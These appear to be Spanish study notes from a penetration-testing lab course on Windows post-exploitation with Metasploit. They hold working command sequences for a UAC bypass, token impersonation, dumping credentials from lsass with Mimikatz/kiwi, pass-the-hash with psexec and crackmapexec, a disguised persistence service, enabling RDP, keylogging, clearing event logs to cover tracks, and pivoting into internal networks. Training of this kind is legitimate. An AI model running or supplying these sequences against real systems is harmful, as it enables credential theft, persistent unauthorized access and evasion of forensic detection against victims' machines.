Ctl C	Para volver a meterpreter
bg
sessions	Vemos que es un x64 (sera importante) Tambien nos deberiamos quedar con el puerto para no ocupar el mismo en el otro modulo
search bypassuac	Nosostros usaremos bypassuac_injection
use
show options
set payload windows/x64/meterpreter/reverse_tcp
set session N
set lport N	Otro no usado
run
Si nos da un error porque dice que el target es un x86 hacemos lo siguiente
set target Windows\x64
run	Ahora se deberia completar bien
getuid	Veremos que somos admin aun. Eso es debido a que se ha creado otra shell igual pero con el flag UAC desactivado. Podremos ejecutar getsystem sin que salta el UAC para elevar privs
getsystem	Elevamos privs automaticamente
getuid	Ahora somos AUTHORITY\SYSTEM
ps -S lsass.exe
migrate PID
hashdump
load kiwi	Por si falla hashdump
lsa_dump_sam

Ejemplo

![[Pasted image 20260302211803.png]]![[Pasted image 20260302211808.png]]![[Pasted image 20260302211814.png]]

Me da error el ponerle de payload x64, puede ser porque rejetto ahora no lo acepte como payload pero es muy raro ![[Pasted image 20260302211823.png]]![[Pasted image 20260302211825.png]]![[Pasted image 20260302211828.png]]![[Pasted image 20260302211831.png]]![[Pasted image 20260302211835.png]]![[Pasted image 20260302211837.png]]![[Pasted image 20260302211842.png]]![[Pasted image 20260302211845.png]]

Los Tokens son el elemento central para el proceso de autenticacion en Windows y es creado y gestionado por LSASS (Local Security Authority Subsystem Service)

Un token es responsable de identificar y describir el contexto de seguridad de un proceso que corre en el sistema

Puede simplemente ser poner una key asociada a una que provee a los usuarios acceso al sistema o recursos de red sin tener que poner credenciales cada vez que se inicia

Son generados por “winlogon.exe” proceso que se ejecuta cada vez que un usuario se autentica satisfactoriamente e incluye la identidad y privilegios que se asocian a esa cuenta

Este token se asocia a “userinit.exe” y despues todos los procesos empiezan por el usuario inherido a el, con los mismos privs del token de acceso

Los access tokens son categorizados en base a varios niveles de seguridad y se unen para determinar los privilegios asignados a un token

Niveles de seguridad de access tokens:

• Impersonate-level: logins no interactivos normalmente servicios del sistema o logs del dominio. Pueden ser usados por tokens impersonales en el sistema local pero no en sistemas externos
• Delegate-level: logins interactivos normalmente logins tradicionales o RDP. Mayor amenaza, pueden impersonar tokens en cualquier sistema

El proceso de impersonar tokens para aumentar privs dependera de los privilegios asignados a la cuenta que fue explotada para ganar acceso inicial

Privilegios para impersonar tokens:

• SeAssignPrimaryToken: permite a un usuario impersonar tokens
• SeCreateTokens: permite a un usuario crear tokens arbitrarios con privilegios admin
• SeImpersonateTokens: permite crear procesos bajo el contexto de otro usuario, normalmente admin privs

Incognito

Modulo de MSF que antes era una app para impersonar tokens tras explotacion Podemos usarlo para ver una lista de tokens que podemos impersonar

Ejemplo

![[Pasted image 20260225165905.png]]![[Pasted image 20260225165909.png]]![[Pasted image 20260225165913.png]]![[Pasted image 20260225165918.png]]![[Pasted image 20260225165921.png]]![[Pasted image 20260225165925.png]]![[Pasted image 20260225165932.png]]![[Pasted image 20260225165936.png]]![[Pasted image 20260225165940.png]]![[Pasted image 20260225165947.png]]![[Pasted image 20260225165951.png]]![[Pasted image 20260225165955.png]]

Puede haber la situacion en la que no haya access tokens disponibles con privilegios. En ese caso para usar potato attack que crea un NT AUTHORITY\SYSTEM Token para conseguir sus privs

Mimikatz es una herramienta de postexplotacion que permite la extraccion de passwords en texto claro, hashes y tickets kerberos de la memoria

El SAM es una archivo de base de datos que guarda hashes de password

Mimikatz puede ser usado para extraer hashes del proceso de memoria lsass.exe donde se cachean los hashes

Podemos usar la version precompilada en ejecutable o la version de meterpreter llamada kiwi

Mimikatz requiere de privs

Ejemplo

![[Pasted image 20260225180355.png]]![[Pasted image 20260225180358.png]]![[Pasted image 20260225180402.png]]![[Pasted image 20260225180406.png]]![[Pasted image 20260225180410.png]]![[Pasted image 20260225180419.png]]![[Pasted image 20260225180423.png]]

La otra forma es desde meterpreter:

Comando	Explicacion
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
.\mimikatz.exe
privilege::debug	Ver si tenemos permisos suficientes para ejecutar mimikatz
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords	Si Windows tiene la configuracion de guardar en texto claro las pass de los logs

Si obtenemos un hash NTLM podemos crackearla offline o usarla para PTH

Es una tecnica en la que se capturan hashes NTLM o clear text pass y las usamos para autenticarnos (Para el modulos MSF se necestia el NTLM + LM)

Podemos usar:

• MSF el modulo Psexec
• Crackmapexec

Con modulo MSF

Haremos un PTH al servicio SMB que requiere credenciales

Tendremos que tener descargado kiwi

Comando	Explicacion
service postgresql start
msfconsole
search badblue
use /…/badblue-passthru
set OPTIONS
run	Obtendremos sesion Meterpreter
pgrep lsass	Busca procesos cuyo nombre coincida con lsass y devuelve sus PID. lsass es el Local Security Authority Subsystem Service en Windows: - Gestiona autenticación de usuarios. - Mantiene credenciales en memoria. - Es el proceso que se intenta dumpear en post-explotación
migrate PID
load kiwi
lsa_dump_sam	Obtendremos los NTLM de los usuario
hashdump	Nos devuelve user::hash_LM::hashNTLM
bg
search psexec
use /exploit/windows/smb/psexec
set OPTIONS	SMBUser “USUARIO” SMBPass “NL:NTLM”
show target	Tendremos que elegir uno e ir probando porque pueden fallar
set target “NOMBRE”
run

Con crackmapexec

Comando	Explicacion
crackmapexec protocolo(smb) IP -u USER -H “NTLM”	Interactua con el protocolo destino y nos dice si las credenciales son validas
crackmapexec protocolo(smb) IP -u USER -H “NTLM” -x “COMANDO(whoami)”	Interactua con el protocolo, se loggea y realiza el comando

Persistencia consiste en una tecnica que se usa para mantener acceso a sistemas incluso tras reinicios, cambio de credenciales y otras interrupciones que pueden cortar el acceso

Ganar un primer punto de apoyo no es suficiente, necesitas establecer y mantener persistencia en los objetivos

Podemos usar varios modulos post explotation de persistencia para asegurar que siempre tendremos acceso al objetivo

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a Persistence
setg rhost IP
db_nmap -Pn -sS -sV -O -T4 IP	rejetto
search rejetto
use
show options
set payload windows/x64/meterpreter/reverse_tcp
run
sysinfo getuid	Acceso a administrador es muy importante para establecer persistencia
bg
search type:post platform:windows persistence	Cada una usa una tecnica Usaremos persistence_service
use	Este crea un servicio para la persistencia y cuando tengamos un listener o multi/handler seremos capaces de obtener una sesion meterpreter
set payload windows/x64/meterpreter/reverse_tcp	SI NO FUNCIONA EL X64 PONEMOS EL PARA 32BITS
Estos no los pondremos pero –> set service_name set remote_exe_name set remote_exe_path	Queremos que el servicio parezca lo mas legitimo posible
set session N
run
getuid
exit
sessions
sessions -K N	Queremos terminar todas las sessiones para ver si hemos establecido persistencia
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set lhost eth1
set lport N	Debe ser el mismo que el que especificamos para crear el servicio
run	Nos conectaremos porque el servicio correra incluso tras reinicios
exit
run	Probamos otra vez y la seguimos obteniendo

RDP esta deshabilitado por defecto, aunque podemos usar un modulo MSF para habilitarlo en el Windows objetivo y como consecuencia usar RDP para acceder remotamente al sistema

RDP requiere de credenciales legitimas para acceder al objetivo en clear text

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a RDP
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP	Tenemos un web con badblue vulnerable No vemos el puerto RDP habilitado
search badblue_passthru
use
show options
set target BadBlue\EE\2.7\Universal
run
getuid	AUTHORITY\SYSTEM
sysinfo
bg
search enable_rdp
use
show options
set session N
run
db_nmap -p3389 IP	Ahora esta abierto
sessions N
shell
net users	Vemos los usuarios. Para tener credenciales legitimas podemos crear usuarios, pero en este caso simplemente vamos a cambiar la contrasena del Adminsitrator (no es recomendable ya que es un indicador obvio de compromiso)
net user administrator password1	Esto solo se puede hacer con privs admin
Abrimos una nueva terminal
xfreerdp /u:administrator /p:password1 /v:IP	Se nos abre una Remote Desktop

Ejemplo

![[Pasted image 20260302223530.png]]![[Pasted image 20260302223534.png]]![[Pasted image 20260302223538.png]]![[Pasted image 20260302223540.png]]![[Pasted image 20260302223543.png]]![[Pasted image 20260302223546.png]]![[Pasted image 20260302223549.png]]![[Pasted image 20260302223552.png]]![[Pasted image 20260302223627.png]]

Keyloggin es el proceso de registrar o capturar las pulsaciones de teclas entrantes de un sistema atacante

Esta tecnica no esta limitada a post explotacion, hay multiples de programas y dispositivos USB que pueden ser usados para capturar y transmitir pulsaciones de teclas en un sistema

Meterpreter en un sistema Windows puede proveer la habilidad de capturar la pulsacion de teclas de entrada en un objetivo y descargarlo en nuestra maquina local

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a keylogging
setg rhosts IP
search badblue_passthru	Es el mismo target que en [[7. Habilitando RDP]]
use
show options
run
sysinfo getuid
pgrep explorer.exe	Funciona mejor
migrate PID
Comandos que vamos a usar	keyscan_dump keyscan_start keyscan_stop
Abrimos el target machine y abrimos una nota para que luego se registre si escribimos
keyscan_start
Volvemos a la nota y escribimos	username:admin password:password1
keyscan_dump	Veremos lo que se escribio
Volvemos a escribir
keyscan_dump
Abrimos un powqrshell y ponemos ipconfig
keyscan_dump	SI NO FUNCIONA –> keyscan_stop keyscan_start Volver a escribir keyscam_dump

Ejemplo

![[Pasted image 20260302225534.png]]![[Pasted image 20260302225537.png]]![[Pasted image 20260302225541.png]]![[Pasted image 20260302225545.png]]![[Pasted image 20260302225549.png]]![[Pasted image 20260302225552.png]]![[Pasted image 20260302225555.png]]![[Pasted image 20260302225558.png]]![[Pasted image 20260302225601.png]]

*Si no funcionase se para y se vuelve a iniciar el keyscan. O migrar a explorer

El SO Windows guarda y cataloga todas las acciones y eventos relacizados en el sistema y los guarda en Windows Event Log

Los Event Logs son categorizados en base al tipo de evento y son almacenados:

• Application Logs: guarda eventos aplicaciones/programas como inicios, crasheos…
• System Logs: guarda eventos del sistema como incios, reinicios…
• Security Logs: guarda eventos de seguridad como cambios de pass, fallos de autenticacion…

Los Event Logs pueden ser accedidos via Event Viewer en Windows

Los event logs son la primera parada para un forensic tras la deteccion del compormiso. Es muy importante limpiar tus huellas tras realizar nuestros analisis

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a ClearEventLogs
setg rhosts IP
search badblue_passthru
show options
run
sysinfo
getuid
Vamos al Windows y nos metemos en el Event Viewer - Windows Logs	Aqui veremos Application, security, setup, system…
Miramos el ultimo evento (se pueden filtrar de ultimo-primero o primero-ultimo) Hacemos docle click encima
Se ve un Account was logged off
Volvemos al meterpreter
shell
net user administrator Password1	Le cambiamos el password para ver el event log
Volvemos al Windows y en Security vemos ahora: - A user account was changed, donde sale Administrator y el password last change
Volvemos al meterpreter
clearev	Borra los Event Log
Vamos al Windows
Si vamos a los security o cualquiera solo vamos a ver: - The audit log was cleared
El siguiente paso seria eliminar los archivos y ejecutables pasados al objetivo com rm

Ejemplo

![[Pasted image 20260302232319.png]]![[Pasted image 20260302232323.png]]![[Pasted image 20260302232325.png]]![[Pasted image 20260302232329.png]]![[Pasted image 20260302232332.png]]![[Pasted image 20260302232335.png]]![[Pasted image 20260302232338.png]]

Pivoting es una tecnica de postexplotacion que involucra el uso de un host comprometido para atacar a otro en la red interna del host comprometido

Tras ganar acceso a un host, podemos usar el host comprometido para explotar otros hosts en la misma red interna a la cual no pudimos acceder antes

Meterpreter nos provee habilidades para anadir una ruta de red a la subred interna y consecuentemente escanear y explotar otro sistema en la red

![[Pasted image 20260302232719.png]]

Comandos

Comandos	Explicacion
ping IP1
service postgresql start && msfconsole -q
workspace -a pivoting
db_nmap -Pn -sS -sV -O -T4 IP1	Tenemos el webserver vulnerable por rejetto
search rejetto
use
show options
set rhosts IP1
run
sysinfo getuid
ipconfig	Veremos las interfaces. Usaremos la Interfaz 12 que es la que se conecta con al red interna
run autoroute -s IP_red/mascara
bg
sessions -n NOMBRE -i 1
search portscan/tcp
use
set rhost IP2
set PORTS 1-100
run	Vemos que tiene un puerto 80
sessions 1
portfwd add -l 1234 -p 80 -r IP2
bg
db_nmap -sS -sV -p 1234 localhost	Veremos por el puerto 1234 la version (en realidad es el puerto 80 de IP2)
Si abrimos un browser y ponemos 127.0.0.1:1234 veremos el codigo de la pagina web de IP2
search badblue_passthru
use
set payload windows/meterpreter/bind_tcp	Bind porque con reverse no nos llegaria al no tener acceso directo. Tiramos el bind a traves de la maquina comprometida
set rhosts IP2
set lport N	Un puerto que no haya sido usado
run	Obtenemos un meterpreter en IP2
sysinfo getuid
bg
sessions -n NOMBRE -i 2

Ejemplo

![[Pasted image 20260303001156.png]]![[Pasted image 20260303001159.png]]![[Pasted image 20260303001201.png]]![[Pasted image 20260303001204.png]]![[Pasted image 20260303001206.png]]![[Pasted image 20260303001210.png]]![[Pasted image 20260303001213.png]]![[Pasted image 20260303001228.png]]![[Pasted image 20260303001244.png]] A mi se me ha quedado bug. Si no funcionani el modulo poner como rhosts la IP. La he sacado al hacer el portscan/tcp a demo2.ine.local te da la IP